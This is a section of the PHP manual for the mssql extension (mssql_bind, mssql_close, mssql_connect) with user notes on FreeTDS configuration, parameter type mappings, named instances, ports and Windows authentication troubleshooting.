andrej at dairyweb dot com dot au 28-Apr-2004 01:49
if you are having problems with freeTDS, or like me you are trying to get access to unicode data from mssql.

try http://odbtp.sourceforge.net it is cross platform and (reportedly) faster than freeTDS. it is very stable and easy to configure.

i was originally trying to solve an error message of "Unicode data in Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier" and found this solution.

hope it helps someone.
elmer at web-axis dot net 27-Apr-2004 09:52
Here's something that could save you 2-3 days research trying to figure out:

<?php
putenv('TDSDUMP=/tmp/tds.log');
putenv('SYBASE=/usr/lib/freetds');
putenv('TDSVER=70');
?>

If you have problems getting the mssql functions to work try these varibles. MSSQL/PHP has problems dealing with different tds versions. 7.0 seems to work well with our server version, maybe a different version would work better with yours.
pmfa at versenet dot com 27-Apr-2004 09:26
If you're going to use freeTDS just to access mssql databases, supply the "--enable-msdblib" switch to the freeTDS configure script when building the library. This will fix some obscure problems, like the month in a date not being displayed correctly, more information in http://www.freetds.org/userguide/config.htm.
gentiboard2002 at yahoo dot de 19-Apr-2004 06:55
there's no documentation of the php.ini option mssql.secure_connection.

so i have here a MS SQL 2000 Server with Windows Authentication and a Windows 2003 Server with IIS 6. So it is clear that i cannot use the usual handling of a mssql_connect.
I turned the mssql.secure_connection on.
I let the Windows IIS to run under an Service Account(normal user account without any special rights) in a Windows Domain, so i do have a authenticated connection to the SQL Server...

Everything works fine without any rewrite of the code...
19-Mar-2004 12:42
Note: DBLib is obsolete and only supports SQL Server 4.x, 6.5, 7.0 and 8.x.
jholland at cs dot selu dot edu 10-Dec-2003 01:37
To enable mssql in php 4.3.3 and above on linux/unix boxes, you must put this line in php.ini

extension=mssql.so
Predefined Constants
mssql_bind
Mssql


Adds a parameter to a stored procedure or a remote stored procedure

Mssql Functions
mssql_close
Mssql Functions
PHP Manual

mssql_bind

(PHP 4 >= 4.0.7, PHP 5, PECL odbtp >= 1.1.1)

mssql_bind — Adds a parameter to a stored procedure or a remote stored procedure

Description

bool mssql_bind ( resource $stmt , string $param_name , mixed &$var , int $type [, bool $is_output = false [, bool $is_null = false [, int $maxlen = -1 ]]] )

Binds a parameter to a stored procedure or a remote stored procedure.

Parameters

stmt

Statement resource, obtained with mssql_init().

param_name

The parameter name, as a string.

Note:

You have to include the @ character, like in the T-SQL syntax. See the explanation included in mssql_execute().

var

The PHP variable you'll bind the MSSQL parameter to. It is passed by reference, to retrieve OUTPUT and RETVAL values after the procedure execution.

type

One of: SQLTEXT, SQLVARCHAR, SQLCHAR, SQLINT1, SQLINT2, SQLINT4, SQLBIT, SQLFLT4, SQLFLT8, SQLFLTN.

is_output

Whether the value is an OUTPUT parameter or not. If it's an OUTPUT parameter and you don't mention it, it will be treated as a normal input parameter and no error will be thrown.

is_null

Whether the parameter is NULL or not. Passing the NULL value as var will not do the job.

maxlen

Used with char/varchar values. You have to indicate the length of the data so if the parameter is a varchar(50), the type must be SQLVARCHAR and this value 50.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mssql_bind() example

<?php
// Connect to MSSQL and select the database
mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php');

// Create a new stored prodecure
$stmt = mssql_init('NewUserRecord');

// Bind the field names
mssql_bind($stmt, '@username',  'Kalle',  SQLVARCHAR,  false,  false,  60);
mssql_bind($stmt, '@name',      'Kalle',  SQLVARCHAR,  false,  false,  60);
mssql_bind($stmt, '@age',       19,       SQLINT1,     false,  false,   3);

// Execute
mssql_execute($stmt);

// Free statement
mssql_free_statement($stmt);
?>

See Also

  • mssql_execute() - Executes a stored procedure on a MS SQL server database
  • mssql_free_statement() - Free statement memory
  • mssql_init() - Initializes a stored procedure or a remote stored procedure

User Contributed Notes

asimonassi 17-Jun-2011 07:51
In order to bind DATETIME, i suggest to convert the date to double, then use SQLFLT8 instead of SQLVARCHAR.

In SQL Server Datetime is a standard double. The integer part represent the number of days since 1-1-1900 and the fractional part represent the fraction of the day (e.g: 0.5 means noon, 0.75 means 6 PM).

Using SQLVARCHAR may lead to errors depending on the local server config.

<?php
function PhpTimeToOLEDateTime($timestamp)
{
        $a_date = getdate ($timestamp);
        $year= $a_date['year']; //this year
        $partial_days = ($year-1900)*365;//days elapsed since 1-1-1900
        //let's calculate how many 29 february from 1900 to first day on this year
        $partial_days +=(int)(($year-1) / 4); //each 4 years a leap year since year 0
        $partial_days -= (int)(($year-1) / 100); //each 100 years skip a leap
        $partial_days += (int)(($year-1) / 400); //each 400 years add a leap
        $partial_days -= 460; //459 leap years before 1900 + 1 for math (year 0 does not exist)
        $partial_days += $a_date['yday'];

        $seconds = $a_date['hours'] * 3600;
        $seconds += $a_date['minutes'] * 60;
        $seconds += $a_date['seconds'];

        $d = (double) $partial_days;
        $d +=  ((double)$seconds)/86400.0;

        return $d;
}
?>

Sample binding

<?php
$now = PhpTimeToOLEDateTime(time());
mssql_bind($proc, "@dateparam", $now, SQLFLT8, false);
?>
brad at foreverybody dot com 16-Jul-2010 11:39
if you are experiencing difficulties binding an empty string because it is being converted to NULL by your driver try the following:

<?php
if($var === ''){
            //stupid hack to prevent mssql driver from converting empty strings to null. now they arent empty strings but they will get trimmed down to legth 0 ;-)
        $var = ' ';
        $type = SQLVARCHAR;
        $isNull = false;
        $maxLen = 0;
    }

mssql_bind($stmt, $param_name, $var, $type, $is_output,$isNull,  $maxLen);
?>
alvaro at demogracia dot com 24-Nov-2009 03:12
There isn't a bind function for regular SQL queries; not even a escape function. I found this nice piece of code:

<?php
function mssql_escape($data) {
    if(is_numeric($data))
        return $data;
    $unpacked = unpack('H*hex', $data);
    return '0x' . $unpacked['hex'];
}
?>

http://stackoverflow.com/questions/574805/
Anonymous 16-Nov-2009 10:35
I found SQLVARCHAR better for datetime.

It was performing some other non-strtotime() convertions when it was set to SQLINT4
valerio dot della-porta dot com 22-Apr-2009 02:00
Use:
SQLVARCHAR for binary
SQLINT4 for datetime
SQLFLT8 for decimal
SQLVARCHAR for image
SQLFLT8 for money
SQLCHAR for nchar
SQLTEXT for ntext
SQLFLT8 for numeric
SQLVARCHAR for nvarchar
SQLFLT8 for real
SQLINT4 for smalldatetime
SQLFLT8 for smallmoney
SQLVARCHAR for sql_variant
SQLINT4 for timestamp
SQLVARCHAR for varbinary
Anonymous 25-Jan-2009 05:08
<?php
//IP Address, if instance then IP\Instance
$server = 'a.b.c.d';
$link = mssql_connect($server, 'sql_user', 'sql_user_pass');

//Select DB
$dbn = 'dbName';
mssql_select_db($dbn);

//Define Procedure
$lala = 'tstProc';
$proc = mssql_init($lala, $link);

//Define Parameters
$parm1 = 'one';
$parm2 = 'two';
$parm3 = 'three';

//Load Parameters
mssql_bind($proc, '@num', $parm1, SQLCHAR, false, false, 10);
mssql_bind($proc, '@naamen', $parm2, SQLCHAR, false, false, 10);
mssql_bind($proc, '@desci', $parm3, SQLCHAR, false, false, 10);

//Execute Procedure
mssql_execute($proc);

//Free Memory
mssql_free_statement($proc);

//...and whenever the wolf did howl, all the sheep had to do was bleat!
?>
Anonymous 08-Jun-2008 10:52
for type :

SQLCHAR     DBCHAR
SQLVARCHAR     DBCHAR
SQLTEXT     DBCHAR
SQLBINARY     DBBINARY
SQLVARBINARY     DBBINARY
SQLIMAGE     DBBINARY
SQLINT1     DBTINYINT
SQLINT2     DBSMALLINT
SQLINT4     DBINT
SQLFLT4     DBFLT4
SQLFLT8     DBFLT8
SQLBIT     DBBIT
SQLMONEY4     DBMONEY4
SQLMONEY     DBMONEY
SQLDATETIM4     DBDATETIM4
SQLDATETIME     DBDATETIME
SQLDECIMAL     DBDECIMAL
SQLNUMERIC     DBNUMERIC

source : http://msdn.microsoft.com/en-us/library/aa937008(SQL.80).aspx
daryl dot mitchell at usask dot ca 05-Dec-2007 09:56
I had the same problem but the posted solution above just produced null results.  Here's a modification that ended up working:

#THIS SUCCEEDS, USES A REFERENCE
mssql_bind($proc, '@'.$key, $sp_parms[$key], SQLVARCHAR)
or die("Unable to bind $sp_name:$key<br>".mssql_get_last_message());
fheald at buzztime dot com 06-Aug-2007 12:27
mssql_bind binds by reference, not by value, even on input parameters.  Improper binding can cause strange errors; in my case "Error converting data type varchar to int"

--SAMPLE STORED PROCEDURE
CREATE Procedure [dbo].[myproc]
(
    @one VARCHAR(10) = 'n1',
    @two VARCHAR(10) = 'n2',
    @three VARCHAR(10) = 'n3',
    @four VARCHAR(10) = 'n4',
    @five VARCHAR(10) = 'n5'
)
AS
BEGIN
SET NOCOUNT ON;

SELECT
    @one AS 'one',
    @two AS 'two',
    @three AS 'three',
    @four AS 'four',
    @five AS 'five'
END

//SAMPLE PHP CALL
$sp_name = 'mydb.dbo.myproc';
$proc = mssql_init($sp_name);
$sp_parms->one = 'one';
$sp_parms->two = 'two';
$sp_parms->three = 'three';

foreach ($sp_parms as $key=>$parm) {
    #THIS FAILS, because it's binding values!
    #mssql_bind($proc, '@'.$key, $parm, SQLVARCHAR)
    #    or die("Unable to bind $sp_name:$key<br>".mssql_get_last_message());
    #THIS SUCCEEDS, USES A REFERENCE
    mssql_bind($proc, '@'.$key, $sp_parms->$key, SQLVARCHAR)
        or die("Unable to bind $sp_name:$key<br>".mssql_get_last_message());
}
Mssql Functions
mssql_close
Mssql Functions


Close MS SQL Server connection

mssql_bind
mssql_connect
Mssql Functions
PHP Manual

mssql_close

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_close — Close MS SQL Server connection

Description

bool mssql_close ([ resource $link_identifier ] )

Closes the link to a MS SQL Server database that's associated with the specified link identifier. If the link identifier isn't specified, the last opened link is assumed.

Note that this isn't usually necessary, as non-persistent open links are automatically closed at the end of the script's execution.

Parameters

link_identifier

A MS SQL link identifier, returned by mssql_connect().

This function will not close persistent links generated by mssql_pconnect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mssql_close() example

<?php
// Connect to MSSQL
$link = mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');

// Do any related operations here

// Close the link to MSSQL
mssql_close($link);
?>

See Also

  • mssql_connect() - Open MS SQL server connection
  • mssql_pconnect() - Open persistent MS SQL connection

User Contributed Notes

There are no user contributed notes for this page.
mssql_bind
mssql_connect
Mssql Functions


Open MS SQL server connection

mssql_close
mssql_data_seek
Mssql Functions
PHP Manual

mssql_connect

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_connect — Open MS SQL server connection

Description

resource mssql_connect ([ string $servername [, string $username [, string $password [, bool $new_link = false ]]]] )

mssql_connect() establishes a connection to a MS SQL server.

The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling mssql_close().

Parameters

servername

The MS SQL server. It can also include a port number, e.g. hostname:port (Linux), or hostname,port (Windows).

username

The username.

password

The password.

new_link

If a second call is made to mssql_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned. This parameter modifies this behavior and makes mssql_connect() always open a new link, even if mssql_connect() was called before with the same parameters.

Return Values

Returns a MS SQL link identifier on success, or FALSE on error.

Changelog

Version | Description
4.4.1 and 5.1.0 | The new_link parameter was added

Examples

Example #1 mssql_connect() example

<?php
// Server in the this format: <computer>\<instance name> or
// <server>,<port> when using a non default port number
$server = 'KALLESPC\SQLEXPRESS';

// Connect to MSSQL
$link = mssql_connect($server, 'sa', 'phpfi');

if (!$link) {
    die('Something went wrong while connecting to MSSQL');
}
?>

See Also

  • mssql_close() - Close MS SQL Server connection
  • mssql_pconnect() - Open persistent MS SQL connection

User Contributed Notes

herrwil at gmail dot com 30-Nov-2011 11:42
The following method: server\instance
does'nt work on unix systems...

An instance is nothing more than specific port address different than 1433... so just discover the port on mssql server and then try to connect using:

ip:port

In unix the port is specified by : not by ,
benjamin at mysteriousquilt dot se 29-Jul-2011 07:02
If someone encounters the interesting problem in which PHP can connect to a MSSQL server from the command line but not when running as an Apache module: SELinux prevents Apache (and therefore all Apache modules) from making remote connections by default.

This solved the problem in CentOS:
# setsebool -P httpd_can_network_connect=1
ben at adworkshop dot com 03-Jun-2011 05:15
Connecting to a named instance of MSSQL.
Our environment is a Windows 2003 server.
Connecting to a dedicated MSSQL server running two instances of SQL SERVER 2005. The default instance and then a second named instance.
My issue was in finding the syntax to properly identify the port of the named instance server.
I found the answer finally in this thread, where a comma is used to separate the IP and PORT number.

So, the code:

mssql_connect('192.0.0.0,3456','USERNAME','PASSWORD');

In this case we used the internal IP of the server, followed by the static port number assigned to the named instance, in this example 3456. The port number can be dynamic or static, obviously choosing static is the route to take.

Hope this helps someone!
me at pazuzusfate dot de 23-Sep-2010 01:38
I didn't get it working with PHP 5.2.9 and MS SQL 2008, so I used this article http://msdn.microsoft.com/en-us/library/cc793139(SQL.90).aspx and with SQL login (not Windows authentication!) it works fine!
Sarke 10-Sep-2010 04:18
By far the easiest way that I've found to connect to a SQL server is to route it through a ODBC connection.

1. Administrative Tools -> Data Sources (ODBC)
2. System DNS
3. Add... "SQL Server"

Then just use odbc_connect("sql_test", "user", "pass") instead.
aksingh at netlink dot com 08-Sep-2010 04:19
I added to registry following entry:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ MSSQLServer\Client\ConnectTo] (strip space)
"DSQUERY"="DBNETLIB"

It worked! Just specify servername in form "host" or "host,port". I successfully connected to remote MSSQL7 and MSSQL2000.
pgeier AT international-capital DOTcom 04-Jul-2010 11:25
If you have an application which requires MSSQL as interface (and not the new SQLSRV) you have to look for an alternative method. The old (now rightly unsupported) way from Microsoft does not work with PHP 5.3.
After spending several days and nights with trying to connect
here is an easy solution which worked great with all applicatins expecting mssql: FreeTDS for Windows. Here is a great how to with installer links on the Moodle site: http://docs.moodle.org/en/Installing_MSSQL_for_PHP

Couple of hints:
- Make sure you have set up a user with "SQL SERVER authentication" who has rights to connect.
- Also make sure after you install and still have problems to run PHPinfo and check that you find the below:

PHPINFO: mssql
MSSQL Support enabled
...
Library version  FreeTDS

That works perfect for me on Windows 2003 with IIS6 and PHP 5.3 (non threadsafe, VC9).
Hope this is helpful
dju @ work 01-Mar-2010 06:11
On a windows 2000 server, i have php 2.6 and apache
It's been 2 days i'm trying to connect it to mssql server 2K5.
i tried everything, of course getting the last version of the sql library (ntwdblib.dll), check the permissions, the dll version etc...  but no way....
Finally, i installed the last version of MDAC 2.8
(there's an old one on win2000, even with all the updates...)
And now it works perfectly :-))
Micio2 10-Feb-2010 08:10
When you try to connect to SQL Server 2008 Express, you always have to name the instance you are trying to connect to, even if you installed SQL2008express as "Default" instance instead of named instance. If your instance is SQLExpress and server name is myServer, the server parameter must be: "myServer\SQLExpress". If you installed Default instance of Standard (not express) version of SQL2008 instead, you don't need to name the instance. To connect using TCP/IP, you need also to check server network configuration, enable TCP/IP (listen all: yes), then go to addresses tab and setup port 1433 in all addresses you want the server listen on (by default, port is blank and server don't listen). Libraries involved in TCP/IP are ntwdblib.dll and dbnetlib.dll. Have fun!
thornhawk 13-Dec-2009 02:00
After months of searching, I have discovered the most simple way of connecting Php to MS Sql Express / Enterprise:
-- Use the Microsoft SQL Server Driver for PHP! --

1) Download from http://tiny.cc/fkGzf

2) Place php_sqlsrv_ts.dll in your php extensions folder.

3) Enable php_sqlsrv_ts.dll in your php.ini -> extension=php_sqlsrv_ts.dll

4) Follow the documentation and api reference at http://msdn.microsoft.com/en-us/library/cc296152%28SQL.90%29.aspx

This works on apache, lighttpd, wampserver (haven't tested on IIS).

You no longer need to worry about the ntwdblib.dll or whether your web server is in FastCGI mode or not.

Absolutely simple and it connects straight away!

Just remember to use the correct server name: $serverName = "<computer name>\SQLEXPRESS";
kparmelee at NOSPAM dot montgomerygeneral dot com 29-Jul-2009 08:18
For my setup (Windows Server 2003, IIS 6, PHP 5.2.6, SQL Server 2005 Enterprise) the key to getting a successful connection using mssql_connect was changing PHP from ISAPI mode to FastCGI mode.

1)    I downloaded and installed FastCGI for IIS 6 from Microsoft http://www.iis.net/downloads/default.aspx?tabid=34&g=6&i=1521
2)    I modified my PHP install so it runs in FastCGI mode.
3)    Opened fcgiext.ini and added this to the end.

[Types]
php=PHP

[PHP]
ExePath=c:\PHP\php-cgi.exe
InstanceMaxRequests=10000
EnvironmentVars=PHP_FCGI_MAX_REQUESTS:10000

4)    I added cgi.force_redirect=0 to the “; Default timeout for socket based streams (seconds)” section of PHP.ini
5)    I made sure my SQL database was set to Windows authentication mode and I also switched mssql.secure_connection in php.ini to on.
6)    Created an SQL login for NT AUTHORITY\NETWORK SERVICE and gave it the appropriate permissions to my database.
7)    Rebooted the server
Iuri Jacob 16-Jun-2009 09:36
I was trying to connect to a remote SQL2000 server (located on Internet, not on the local network), then php always returned an "Unable to connect" error or something.

After waste a lot of time, by searching among foruns, blogs and logs, I finally discovered  the problem. I was monitoring the TCP connections between the server and my machine when I realized that it wasn't been done. For some reason, my Apache 2.2 was "denying" php module from doing remote connections.

So I changed the php configuration on apache to CGI mode rather than as module mode. Well, it worked fine since that.

In despite of security holes that it involves, it was the only way I've found to make that remote connection works between Apache2.2/PHP5 and MSSQL Server 2000.

Strangely, connections inside local network worked in any case (in CGI or module mode).
pesadelo at death dot fm 21-Mar-2009 02:52
Just a remind: Although it is not present here in this page, the parameter **$new_link** holds for mssql_connect() and mssql_pconnect(). The correspondent mysql functions documentation describes it though.
Anonymous 21-Mar-2009 02:50
Just a remind: Although it is not present here in this page, the parameter **$new_link** holds for mssql_connect() and mssql_pconnect(). The correspondent mysql functions documentation describes it though.
b56w 28-Feb-2009 03:08
After a great deal of testing various things I finally found a solution for connecting to a named instance of MS SQL Express.  I first had to download version 200.80.194.0 of ntwdblib.dll and overwrite the existing version in c:\PHP.  I then tried an instance name that was posted by "chop_01 at yahoo dot com" in this thread.  The instance name is ".\SQLEXPRESS".

For example:

<?php
  $dbconnect = mssql_connect(".\SQLEXPRESS", $dbUser, $dbPass);
?>
wwang at moultonlogistics dot com 01-Feb-2009 05:24
For anyone who have to connect to crappy SQL SERVER with \\computer_name\instance_name and failed to connect. There are couple of thing you need do.

1). There's no needs to install SQL client software in your app server. This would keep your server clean.
2). run cliconfg.exe setup alias in case you needed
3). last and most important, do NOT use ntwdblib.dll came with PHP 4.4.x. It's not most current. The version I'm using is: 8.00.194 with 274,489 Bytes. And make sure you put this file in your system32 folder.
hetland at website dot no 15-Oct-2008 05:30
Hello,

My solution was to install MSSQL Server Native Client

Info:
http://msdn.microsoft.com/en-us/data/aa937733.aspx

System:
W2003 w/PHP 5.2.1 and SQL Server 2008 on Win 2008
(Should also work on 2005)

My problem was that mssql_connect() failed.

Installed the native client, restarted IIS and everything went smoothly.

Helge Hetland
robert dot johnson at icap dot com 04-Oct-2008 07:39
I sympathise with all users trying to make SQL Server 2005 work, but that old ntwdblib api was depracated when SQL Server 2000 was released.  Newer data types and features are not available through that old api.

It seems that there are still some people that don't know, and this is my third post on the subject, but there is a  Microsoft SQL Server 2005 driver for php.

It's easy to use and efficient.  I don't know if there's a version for Unix servers, but the person who spent 10 hours seems to be using Windows.  It's not identical to mssql, but not much different, and I think simple to port.

You download the extension from Microsoft, put the dll in your extensions folder, and enable it in php.ini (or load it dynamically with dl()).
rcgandara at gmail dot com 17-Sep-2008 10:27
If your are trying to connect to a MSSQLServer 8 and got this error: Unabled to connect to: [SERVER_NAME]
and u r using Server authentication, make sure 2 set up mssql.secure_connection to Off in da php.ini

RCGP

Making this world better everyday... peace out
Anonymous 11-Sep-2008 01:18
This might be obvious to some, but here is a quick tidbit that might save you some time if you're using FreeTDS in Linux:

Be sure that you have these two lines in freetds.conf:
dump file = /tmp/freetds.log
dump file append = yes

so you can tail -f it in the background of debugging the problem.  This helped me find my issue on on CentOS Linux:

1) tsql test works
2) php-mssql connection in php also works WHEN RUN FROM THE SHELL
3) running PHP through apache does NOT work.

my /tmp/freetds.log file told me:
net.c:168:Connecting to MYDBSERVER port MYDBPORT
net.c:237:tds_open_socket: MYDBSERVER:MYDBPORT: Permission denied

and the answer was my firewall/SELinux was denying the Apache processes access to connect to the remote MSSQL DB port, but my shell accounts were fine.
getzeroedin at hotmail dot com 08-Jul-2008 11:41
For those trying to connect PHP 5.2 to a 2005 Microsoft SQL Server Analysis Services (SSAS) cube and execute MDX queries, you have to establish a link via a trusted connection from the Database Service to SSAS using a stored procedure, then execute the stored procedure via PHP.

Here is an example stored procedure that retrieves records from the Adventure Works sample cube that ships with SSAS.

From SQL Server Query Analyzer, you could test it as:

exec testMDX

From PHP, you would execute something like the following:

$resultset = mssql_query("exec testMDX",$res_id);

then loop thorugh the result set.

-- STORED PROCEDURE BEGIN

set ANSI_NULLS ON -- Must be enabled at time Stored Proc is created
set QUOTED_IDENTIFIER ON -- Must be enabled at time Stored Proc is created
GO

Create Procedure [dbo].[testMDX]
as
BEGIN
SET ANSI_WARNINGS ON:  -- Must be enabled
SET ANSI_NULLS ON; -- Must be enabled

Declare
@SQL varchar(1200),  -- Variable to hold SQL query
@MDX varchar (1000), -- Variable to hold MDX query
;

-- Establish a link to Analysis Server
exec sp_addlinkedserver
@server='linked_olap', -- Alias used to reference the link
@srvproduct='', -- Not used
@provider='MSOLAP.3', -- OLAP driver
@datasrc='servername', -- Database server name
@catalog='Adventure Works DW Standard Edition' -- Database name
;

-- Analysis Server requires a TRUSTED connection
exec sp_addlinkedsrvlogin
@rmtsrvname = 'linked_olap', -- Alias used to reference the link
@useself = 'false', -- Use own credentials
@locallogin = NULL, -- Apply to all local logins
@rmtuser = 'domain\username', -- Remote user name
@rmtpassword = 'xyz123' -- Remote user password
;

-- Create a temporary table that will be used to hold the MDX output
create table #temp_table (column1 text null, column2 text null);

-- Setup a string to hold the MDX so that the precompiler does not try to validate the syntax
SET @MDX = 'SELECT [Product].[Category].members ON ROWS,
                    {Measures.[Internet Order Count]} ON COLUMNS
                    FROM [Adventure Works]    ' ;

-- Setup a string to insert the MDX results into the temporary table
SET @SQL = 'Insert into #temp_table SELECT * FROM OpenQuery(linked_olap,'''+@MDX+''')';

-- Execute the SQL and remote MDX query
EXEC (@SQL) ;

-- Select the results from the temporary table to return to the calling program
Select column1, column2 from #temp_table ;

-- Drop the temporary table
drop table #temp_table;

-- Release the TRUSTED connection
exec sp_droplinkedsrvlogin 'linked_olap', NULL ;

-- Release the link to the Analysis Server
exec sp_dropserver 'linked_olap' ;

END

-- STORED PROCEDURE END
simonhukin at gmail dot com 13-Mar-2008 03:15
After a couple of days (seems to be the common theme) trying to get my code to connect to our new clustered 2005 SQL server instance. I finally did it. :-)

For the following setup:

PHP 5.2.4 (hosted on a Windows Server 2003 box)
connecting to MSSQL 2005 in a clustered environment
(was already connecting to MSSQL 2000 with no problems)

I was about to get the client tools installed on the server, but this would have required a trip down to the data center by our IT guys (last resort - well actually last resort was to write a data access service in Java, which was connecting fine).

Anyway, after making sure all the ntwdblib.dll were of the 2000.80.194.0 version. It was still not working.

The thing which made it work was simply to specify the port.

yes after 2days of looking into alternatives (incidently freetds - a windows compiled version, was working very intermittently) I found all I had to do was specify the port!

I guess this is because I needed to connect via TCP/IP, our network admin didn't want named pipes used (as it's non-standard). Although, named pipes were enabled anyway. Specifying the port must have made the default behavour to connect via TCP/IP. Also the port was '1433' which I assumed was default anyway, hence hadn't specified before.
Slartibartfast 21-Feb-2008 09:25
Using Apache on a windows machine to connect to a networked SQL Server I was getting the following error:

Warning: mssql_connect() [function.mssql-connect]: message: Login failed for user 'DomainName\MachineName$'. (severity 14)

This occurred regardless of the username and the password that I passed to mssql_connect()

Apparently the username and password parameters are ignored when connecting to SQL Server with trusted connections. Instead it attempts to connect using the  Web Server username and password instead. Under windows the default webserver account is the machine name (which is probably not set up as being a windows user).

This can be solved by configuring Apache to log on as a designated user.
-    Open Control Panels
-    Double click administrative tools
-    Double click services
-    Right click on Apache and choose properties
-    Under the "Log On" tab choose "This Account" and type in a valid domain user account & password
-    Restart the Apache service
edortizq at gmail dot com 03-Dec-2007 07:41
For connecting Linux + Apache + SQLEXPRESS 2005 take care about it:

- Don´t use the standard MS-SQL port (1433), use the MS-SQL dinamic port under SQL Server Configuration Manager -> SQL Express Protocols -> TCP/IP properties -> IP Adresses -> IPAll

- You can do a direct connection (without FreeTDS) using the following statemt:
  $db=mssql_connect('192.168.xxx.xxx:1541','usrxxxx','pwdxxxx');

-You can use FreeTDS configuring the freetds.conf file as follow:
  [connect2k5]
  host = 192.168.xxx.xxx
  port = 1541
  tds version = 8.0
With the following PHP statement:
  $db=mssql_connect('connect2k5','usrxxxx','pwdxxxx');
chop_01 at yahoo dot com 29-Aug-2007 01:39
1. Installed the SQLServer in mixed auth mode
2. Checked that the mssql.secure_connection = Off was present in the php.ini
3. Copied the ntwdblib.dll file into
        o WINDOWS\SYSTEM32
        o program files\apache2\bin
        o php
4. Started the SQL Server Browser Service
5. Enabled all of the IPs in Protocols > TCP/IP
6. Restarted the following services:
       o Apache
       o SQL Service
       o SQL Browser Service

This allowed me to connect with no problems using the following parameters within my mssql_connect call

HOST=.\SQLEXPRESS
USERNAME=sa
PASSWORD=<MYPASS>
Colin 16-Aug-2007 03:35
I had lots of issues with trying to get SQL Server '05 (NOT Express) to work with PHP 5.1.2 on Windows Server '03 SP2 running IIS 6. This is what finally worked:
- Uncomment the php_mssql.dll line in php.ini
- Replace the ntwdblib.dll file in /php/ext/ with the (smaller) downloadable file from webzila.com
- Set SQL Server to mix-mode authentication ("Windows and SQL Server Auth")
- Create IUSR_<computer_name> account in SQL Server using Windows authentication
- Grant read/write access to the IUSR_<computer_name> in SQL Server
- Create SQL auth account using SQL authentication
- Grant read/write access to the SQL auth account in SQL Server
- Restart the system

I'd imagine that creating a way for IUSR to get into the SQL Server is NOT a good idea, but this is the only way I could get it to work. Hopefully, a future update to SQL Server will fix this.
hao dot wang at outsourcing dot org 18-Jul-2007 05:04
For those poor people (like myself) who have to use MS SH*T SQL 2005 and cannot connect it.

I have to use sql server 2005 (another piece of sh*t from MS) at work. It takes me hours to connect this garbage. I end up find I have to enable TCP/IP under "Protocols for MSSQLSERVER". To do this, you need go to
START >> PROGRAMS >> MS Sql server 2005 >> Configuration Tools >> Sql Server configuration Manger

Click "+" sign next to "Sql server 2005 network configuration" then
click to highlight "Protocols for MSSQLSERVER" then
in right panel right click "TCP/IP" and enable it.

DO NOT for get restart you sql server service and pray to dear God your company will dump MS one day.

DO NOT install "ActiveScript engine" as MS suggested. You don't want extra trouble and junk.
streamkid {) at (} gmail {) dot (} com 16-Jul-2007 12:55
I encountered this while developing applications for Cisco IP Phones.

The phones require the Connection header to be set to close:
header("Connection: close");

But, with this header, mssql_connect won't work.
A possible workaround for this is to have another php file that interacts with the database, and returns the results in xml format so you can use it in the application.

Hope this saves someones time.
streamkid
animefan1003 at yahoo dot com 07-Jul-2007 09:32
If you cannot connect to an SQL Server instance after trying all of the above, look in the registry using regedit.exe at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\SQLEXPRESS\MSSQLServer\SuperSocketNetLib\Tcp. One of the nameValue pairs has name TcpPort and a value, which is the port that the SQL Server is listening on (mine was set to 1030).

Now in the SQL Server Configuration Manager, under SQL Server native client configuration->Client protcols->TCP\IP, the default port is listed as 1433. It seems that this registry value is overriding the setting in the SQL Server Config manager.

I changed the port number in my call to mssql_connect() to 1030 and I was able to connect. An example string is:
<?php $database = mssql_connect('laptop2,1030', 'sa', 'password', false); ?>. Note that for the server name, it can be the machine name, the string "localhost" or an IP Address such as 127.0.0.1. You do not have to append "\SQLEXPRESS" to the end of it.

Before I did this, I enabled TCP\IP connections using the SQL Server Config Manager. I also enabled the IP address under TCP/IP to be sure it worked. In php.ini, I had the mssql.secure_connection key set to "Off" (hence why I pass the username and pasword to mssql_connect()). I enabled mixed authentication is SQL Server and granted logins to user "sa". I also put the updated ntwdblib.dll in both the system32 directory and the php directory to be sure it would work.

Also, the webzilla site for the updated ntwdblib.dll file seems to be having connection issues with their MySQL database. Instead, try http://www.userscape.com/helpdesk/index.php?pg=kb.page&id=13 .

I hope that this saves someone a few hours :-) .
Anders Simonsen 02-Jul-2007 09:21
Finally, I made it work... Using Windows 2003, ISS 6.0, PHP5-CGI and SQL express

It's a good idea to set your environment variables to path=%path%;c:\php and phprc=c:\php first.

1. Fire up SQL Server Configuration Manager
2. Drill down to "Protocols for SQLEXPRESS"
3. Enable Named Pipes (God knows why)
4. Enable TCP, I have everything enabled in the "IP Addresses" tab
5. Restart SQL Express (Or the computer ;)
6. Start SQL Browser service. Remember to set it to automatic.

The final detail is the need to use (host)\SQLEXPRESS in the connection string. This is a little problematic when using MDB2, but it works if you break the connection string into an array like this:

$dsn = array(
'phptype'  => 'mssql',
'username' => 'user',
'password' => 'yourpass',
'hostspec' => 'localhost\SQLEXPRESS',
'database' => 'yourdb',
);

require_once 'MDB2.php'; $mdb2 =& MDB2::connect($dsn);
if (PEAR::isError($mdb2)) {
echo $mdb2->getUserinfo();
}

Of course, you’ll also need extension=php_mssql.dll in the PHP.ini and that ntwdblib.dll 2000.80.194.0 file mentioned bellow.

Have fun
rossco at hotpop dot com 24-May-2007 09:04
A small problem I had when connecting to SQL 2000 Ent named instance (from W2003 Std, IIS6, PHP5).

I had to supply the instance name AND port
$sql = mssql_connect ("SERVER\INSTANCE,PORT", "username", "password")

And also add registry entry as per previous comments:

HKEY_LOCAL_MACHINE \SOFTWARE\ Microsoft\ MSSQLServer\ Client\ ConnectTo:
"SERVER\INSTANCE"="DBMSSOCN,SERVER\INSTANCE,PORT"

(Just export the key from a PC with SQL client tools)
raul at tarkus dot com dot mx 09-Dec-2006 03:19
When trying Linux + PHP 5.2.0 + SQL express 2005, use dinamic port specified in TCP/IP properties of SQL server configuration. The default port (1433) didn't work for me.
This is my freetds.conf file:

[JRZMERC176]
        host = 10.12.51.176
        port = 1396
